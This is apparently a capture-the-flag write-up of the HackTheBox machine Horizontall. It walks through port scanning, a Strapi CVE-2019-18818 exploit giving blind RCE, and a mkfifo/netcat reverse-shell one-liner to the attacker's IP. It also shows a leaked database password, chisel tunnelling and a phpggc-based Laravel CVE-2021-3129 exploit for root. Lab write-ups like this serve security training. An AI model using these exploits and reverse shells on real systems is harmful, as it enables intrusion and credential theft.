As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to Foot-hold As always, we begin with a scan. First masscan to find all the ports rob:Horizontall/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.105 --rate=1000 -e tun0 [sudo] password for rob: Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-12-19 18:43:39 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.11.105 Discovered open port 22/tcp on 10.10.11.105 And now nmap to examine each port closely rob:Horizontall/ $ nmap -A -T4 -v -p22,80 horizontall.htb Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-19 18:50 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Initiating Ping Scan at 18:50 Scanning horizontall.htb (10.10.11.105) [2 ports] Completed Ping Scan at 18:50, 0.02s elapsed (1 total hosts) Initiating Connect Scan at 18:50 Scanning horizontall.htb (10.10.11.105) [2 ports] Discovered open port 80/tcp on 10.10.11.105 Discovered open port 22/tcp on 10.10.11.105 Completed Connect Scan at 18:50, 0.02s elapsed (2 total ports) Initiating Service scan at 18:50 Scanning 2 services on horizontall.htb (10.10.11.105) Completed Service scan at 18:50, 6.05s elapsed (2 services on 1 host) NSE: Script scanning 10.10.11.105. Initiating NSE at 18:50 Completed NSE at 18:50, 0.81s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.08s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Nmap scan report for horizontall.htb (10.10.11.105) Host is up (0.020s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50💿ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: 1BA2AE710D927F13D483FD5D1E548C9B |_http-title: horizontall |_http-server-header: nginx/1.14.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Initiating NSE at 18:50 Completed NSE at 18:50, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds We get an immediate redirect when we try to look at http://10.10.11.105, so let’s add horizontall.htb to our /etc/hosts list and try again There doesn’t seem to be any active links from that page, let’s try some directory busting rob:Horizontall/ $ gobuster dir -u http://horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,html,php [+] Timeout: 10s =============================================================== 2021/12/19 18:53:58 Starting gobuster in directory enumeration mode =============================================================== /js (Status: 301) [Size: 194] [-- http://horizontall.htb/js/] /css (Status: 301) [Size: 194] [-- http://horizontall.htb/css/] /img (Status: 301) [Size: 194] [-- http://horizontall.htb/img/] /index.html (Status: 200) [Size: 901] =============================================================== 2021/12/19 19:02:46 Finished =============================================================== Ok, not a lot there We can do a subdomain hunt too while we’re at it rob:Horizontall/ $ ffuf -u http://horizontall.htb -H 'Host: FUZZ.horizontall.htb' -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -fs 194 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive However, when we look through the javascript files (basically cause we have nothing left to look at 😄) we find another subdomain that must not have been in our wordlist With the subdomain added to /etc/hosts we can visit the found address We can do some directory busting now to see if there are other directories v Ok, we have an admin link it seems, let’s have a look at that A little googling finds us strapi.io, an open source CMS, and a little more searching finds that there are a few CVEs going back over the previous versions We can intercept an /admin/init request in burpsuite that yields the version number, 3.0.0-beta.17.4, old enough for all the found CVEs to be relevant Reading through them we find a CVE that could potentially give us unauthenticated RCE, CVE-2019-18818 (also related is CVE-2019-19609), for which Packet Storm have kindly published an exploit Running this script seems to give us working credentials and a prompt at which to inject commands rob:Horizontall/ $ python3 exploit.py http://api-prod.horizontall.htb [+] Checking Strapi CMS Version running [+] Seems like the exploit will work!!! [+] Executing exploit [+] Password reset was successfully [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM5OTUyNjgyLCJleHAiOjE2NDI1NDQ2ODJ9.1JqzUJsSOYRsRyBvvFnzJNchKDUnVS7nVVabrGZ_9i4 $ id [+] Triggering Remote code executin [*] Rember this is a blind RCE don't expect to see output {"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]} And work it does! From the command line we can also test the (blind) RCE by passing a curl command rob:Horizontall/ $ updog [+] Serving /home/rob/Documents/HackTheBox/Horizontall... * Running on all addresses. WARNING: This is a development server. Do not use it in a production deployment. * Running on http://10.0.2.15:9090/ (Press CTRL+C to quit) 10.10.11.105 - - [19/Dec/2021 22:27:11] "GET /strapi.txt HTTP/1.1" 302 - So there we go, we are getting command injection and execution. Let’s see if we can get a shell from this now. We’ll use a simple nc shell $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 10.10.14.4 1234 /tmp/f [+] Triggering Remote code executin [*] Rember this is a blind RCE don't expect to see output 504 Gateway Time-out 504 Gateway Time-out nginx/1.14.0 (Ubuntu) $ And at our waiting listener we pop a shell! rob:Horizontall/ $ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.105] 36772 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) User strapi As always, let’s stabilize our shell before we go further, and then we can proceed with some manual enumeration to start with First we’ll grab the user flag strapi@horizontall:~$ cat ~developer/user.txt `REDACTED` Checking for listening services shows us mysql, as well as two more internal services running on port 8000 (probably the strapi app itself) and another on port 1337 strapi@horizontall:/home/developer$ ss -tulnp Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:1337 0.0.0.0:* users:(("node",pid=1788,fd=31)) tcp LISTEN 0 128 127.0.0.1:8000 0.0.0.0:* tcp LISTEN 0 128 [::]:80 [::]:* tcp LISTEN 0 128 [::]:22 [::]:* In /opt/strapi/myapi/config/environments/development we find the database password for the dev environment strapi@horizontall:~/myapi$ cat config/environments/development/database.json { "defaultConnection": "default", "connections": { "default": { "connector": "strapi-hook-bookshelf", "settings": { "client": "mysql", "database": "strapi", "host": "127.0.0.1", "port": 3306, "username": "developer", "password": "#J!:F9Zt2u" }, "options": {} } } } So we have mysql creds, developer:#J!:F9Zt2u. We check it with the system user account, just in case there is password reuse, but no joy From the database we can extract a couple of hashes strapi@horizontall:/tmp$ mysql -u developer -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 35 Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu) Copyright (c) 2000, 2021, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A strapi@horizontall:/tmp$ mysql -u developer -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 35 Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu) Copyright (c) 2000, 2021, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A mysql select user, authentication_string from user; +------------------+-------------------------------------------+ | user | authentication_string | +------------------+-------------------------------------------+ | root | | | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | | debian-sys-maint | *864892F451E37073B4B4F3CE01C26A02C3EFE03B | | developer | *FFE7D25121423869EB3DCC48D3E8C99C6E3530A7 | +------------------+-------------------------------------------+ 5 rows in set (0.00 sec) But neither of them are crackable with the rockyou.txt wordlist We can try setting up a [[ligolo]] tunnel and proxying through that to look at the internal ports we found, 1337 and 8000 On 1337 we find the web app we’ve already seen But interestingly we find something odd on port 8000 Laravel is a PHP framework, when we’ve seen only javascript being used up till now. The splash screen also gives us the version, v8. Some googling on this finds us a CVE that might be applicable, CVE-2021-3129, which …allows unauthenticated remote attackers to execute arbitrary code … Perfect for our purposes! Packet Storm once more have an exploit we can try out, so let’s give it a try First we need to create a php gadget chain (a good description here) rob:~/ $ cd /usr/share/phpggc rob:phpggc/ $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit2.phar --fast-destruct monolog/rce1 system id rob:phpggc/ $ ls -la /tmp/exploit2.phar -rw-r--r-- 1 rob rob 788 Dec 20 17:40 /tmp/exploit2.phar And now, after uploading the exploit and the .phar file to the target box, we can run it rob:Horizontall/ $ proxychains python3 exploit2.py http://localhost:8000 exploit2.phar [proxychains] config file found: /home/rob/Documents/HackTheBox/Horizontall/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 Traceback (most recent call last): File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connection.py", line 169, in _new_conn conn = connection.create_connection( File "/home/rob/.local/lib/python3.9/site-packages/urllib3/util/connection.py", line 96, in create_connection raise err File "/home/rob/.local/lib/python3.9/site-packages/urllib3/util/connection.py", line 86, in create_connection sock.connect(sa) ConnectionRefusedError: [Errno 111] Connection refused During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 699, in urlopen httplib_response = self._make_request( File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 394, in _make_request conn.request(method, url, **httplib_request_kw) File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connection.py", line 234, in request super(HTTPConnection, self).request(method, url, body=body, headers=headers) File "/usr/lib/python3.9/http/client.py", line 1285, in request self._send_request(method, url, body, headers, encode_chunked) File "/usr/lib/python3.9/http/client.py", line 1331, in _send_request self.endheaders(body, encode_chunked=encode_chunked) File "/usr/lib/python3.9/http/client.py", line 1280, in endheaders self._send_output(message_body, encode_chunked=encode_chunked) File "/usr/lib/python3.9/http/client.py", line 1040, in _send_output self.send(msg) File "/usr/lib/python3.9/http/client.py", line 980, in send self.connect() File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connection.py", line 200, in connect conn = self._new_conn() File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connection.py", line 181, in _new_conn raise NewConnectionError( urllib3.exceptions.NewConnectionError: : Failed to establish a new connection: [Errno 111] Connection refused During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/rob/.local/lib/python3.9/site-packages/requests/adapters.py", line 439, in send resp = conn.urlopen( File "/home/rob/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 755, in urlopen retries = retries.increment( File "/home/rob/.local/lib/python3.9/site-packages/urllib3/util/retry.py", line 574, in increment raise MaxRetryError(_pool, url, error or ResponseError(cause)) urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='localhost', port=8000): Max retries exceeded with url: /_ignition/execute-solution/ (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 111] Connection refused')) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/rob/Documents/HackTheBox/Horizontall/exploit2.py", line 144, in main(sys.argv[1], sys.argv[2], (len(sys.argv) 3 and sys.argv[3] or None)) File "/home/rob/Documents/HackTheBox/Horizontall/exploit2.py", line 129, in main exploit.main() File "/home/rob/Documents/HackTheBox/Horizontall/exploit2.py", line 25, in main self.log_path = self.get_log_path() File "/home/rob/Documents/HackTheBox/Horizontall/exploit2.py", line 49, in get_log_path r = self.run_wrapper(path) File "/home/rob/Documents/HackTheBox/Horizontall/exploit2.py", line 72, in run_wrapper return self.session.post( File "/home/rob/.local/lib/python3.9/site-packages/requests/sessions.py", line 590, in post return self.request('POST', url, data=data, json=json, **kwargs) File "/home/rob/.local/lib/python3.9/site-packages/requests/sessions.py", line 542, in request resp = self.send(prep, **send_kwargs) File "/home/rob/.local/lib/python3.9/site-packages/requests/sessions.py", line 655, in send r = adapter.send(request, **kwargs) File "/home/rob/.local/lib/python3.9/site-packages/requests/adapters.py", line 516, in send raise ConnectionError(e, request=request) requests.exceptions.ConnectionError: HTTPConnectionPool(host='localhost', port=8000): Max retries exceeded with url: /_ignition/execute-solution/ (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 111] Connection refused')) We can see ligolo receiving the connection strapi@horizontall:/tmp$ ./ligolo -relayserver 10.10.14.4:5555 ██╗ ██╗ ██████╗ ██████╗ ██╗ ██████╗ ██║ ██║██╔════╝ ██╔═══██╗██║ ██╔═══██╗ ██║ ██║██║ ███╗██║ ██║██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║██║ ██║ ██║ ███████╗██║╚██████╔╝╚██████╔╝███████╗╚██████╔╝ ╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝ Local Input - Go - Local Output INFO[0000] Connecting to relay server... INFO[0000] Waiting for connections.... INFO[0009] Accepted new connection ! active_sessions=1 Killed strapi@horizontall:/tmp$ But then the process is killed for some reason… Try as we might we just can’t get this working. Also not working is the idea of making an SSH server on our attackbox and tunneling back from target. It looks like port 22 is being filtered out somewhere We don’t know the password for user strapi but perhaps we could use a ‘forward’ SSH tunnel using keys? Let’s try that, first we make some keys rob:Horizontall/ $ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/rob/.ssh/id_rsa): ./self_private_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./self_private_rsa Your public key has been saved in ./self_private_rsa.pub The key fingerprint is: SHA256:G0inaBJZF4ObSXarj8WJt+VY/G8WzbOv/pNZ2gG6SxY rob@kali The key's randomart image is: +---[RSA 3072]----+ | ..+. | | o+... | | oo =... | | .+o.+ . | | . o+ooS E.o. | | oo = +o .o +..| | = *.. o.. ==| | . + . +.o o+.| | =o.o++| +----[SHA256]-----+ rob:Horizontall/ $ cat ./self_private_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLE1+RzmTMqxUPG5lwr7QDpRy2dwMD59oVXIQRfYS20B4FZ+kDH/ndMU7QsC033owRerNe+IlnIFC/z+92KzTUidvOc7Q+FdWR7PU9XbA6Uc0l/cL/7bBeTwsfVy8pj/cjjXxmQYxH0URdFfb+qnX9GOcilF66M9rv3nwAhjqmvVRer9CIha3nuTpQhVI8Y3epCTMtFAed3jO/IhDFgLlZN0MNTozLWVlehEWG4+DI28jrimC+ZwBYtIS+Fs3xFMQ4/pJAMwmfMBpLaV8EqqAAv8wN8dOdEoyT+xa8+yzaJ78cMkgbgOBBjlHAp1O33iLocwkuQ59GgihDd/Zk0Vkem0ejvvc7WUgjP1vVZYl1fFT9Nqj48lYabz4rP7ioBoFzhr97ygEF7k7Ghdf3eBicjkHbIfr8x1hVe7hLXmINhbzQUoWf1i8jU9AIFTHnwwcmMOiolqezgoCX7UT7i2rxYeOxyttYZhUV0MbcjL5WpgHhDThI8ZGm7NOWGBDHCw0= rob@kali Now copy the public key into ~/.ssh/authorized_keys on the target rob:Horizontall/ $ echo 'ssh-rsa AAAAB --snip-- OWGBDHCw0= rob@kali' authorized_keys And we should be able to connect via SSH rob:Horizontall/ $ ssh -i self_private_rsa strapi@10.10.11.105 The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established. ED25519 key fingerprint is SHA256:Xe1jfjgC2NgH1uDUUr14erdojTBy+zenI7KtOwu8+ZY. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:81: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.105' (ED25519) to the list of known hosts. strapi@10.10.11.105's password: Permission denied, please try again. strapi@10.10.11.105's password: Permission denied, please try again. strapi@10.10.11.105's password: strapi@10.10.11.105: Permission denied (publickey,password). Not sure what the problem is here, it really should work We try tunneling with socat and others, eventually landing on chisel. First on our attackbox we start a listener rob:~/ $ chisel server -p 1080 --reverse 2021/12/20 21:01:04 server: Reverse tunnelling enabled 2021/12/20 21:01:04 server: Fingerprint XtCJOJnIl3Md3WXmKQX3O7oxWCVk0zuOiX5dzlpx9Io= 2021/12/20 21:01:04 server: Listening on http://0.0.0.0:1080 And then on the target we connect back, mapping the port we want (8000) strapi@horizontall:/tmp$ ./chisel client 10.10.14.4:1080 R:8000:localhost:8000 2021/12/20 21:01:25 client: Connecting to ws://10.10.14.4:1080 2021/12/20 21:01:25 client: Connected (Latency 21.229902ms) Back on the attackbox we see an acknowledgement 2021/12/20 21:01:18 server: session#1: tun: proxy#R:8000=localhost:8000: Listening And now we should be able to get to the remote port 8000 by addressing the local port 8000 (just like we could earlier with ligolo but hopefully more successfully) rob:Horizontall/ $ python3 exploit2.py http://localhost:8000 exploit2.phar + Log file: /home/developer/myproject/storage/logs/laravel.log + Logs cleared + Successfully converted to PHAR ! And over at our waiting listener we pop a root shell! rob:~/ $ nc -lnvp 4321 listening on [any] 4321 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.105] 47116 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt `REDACTED` div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };
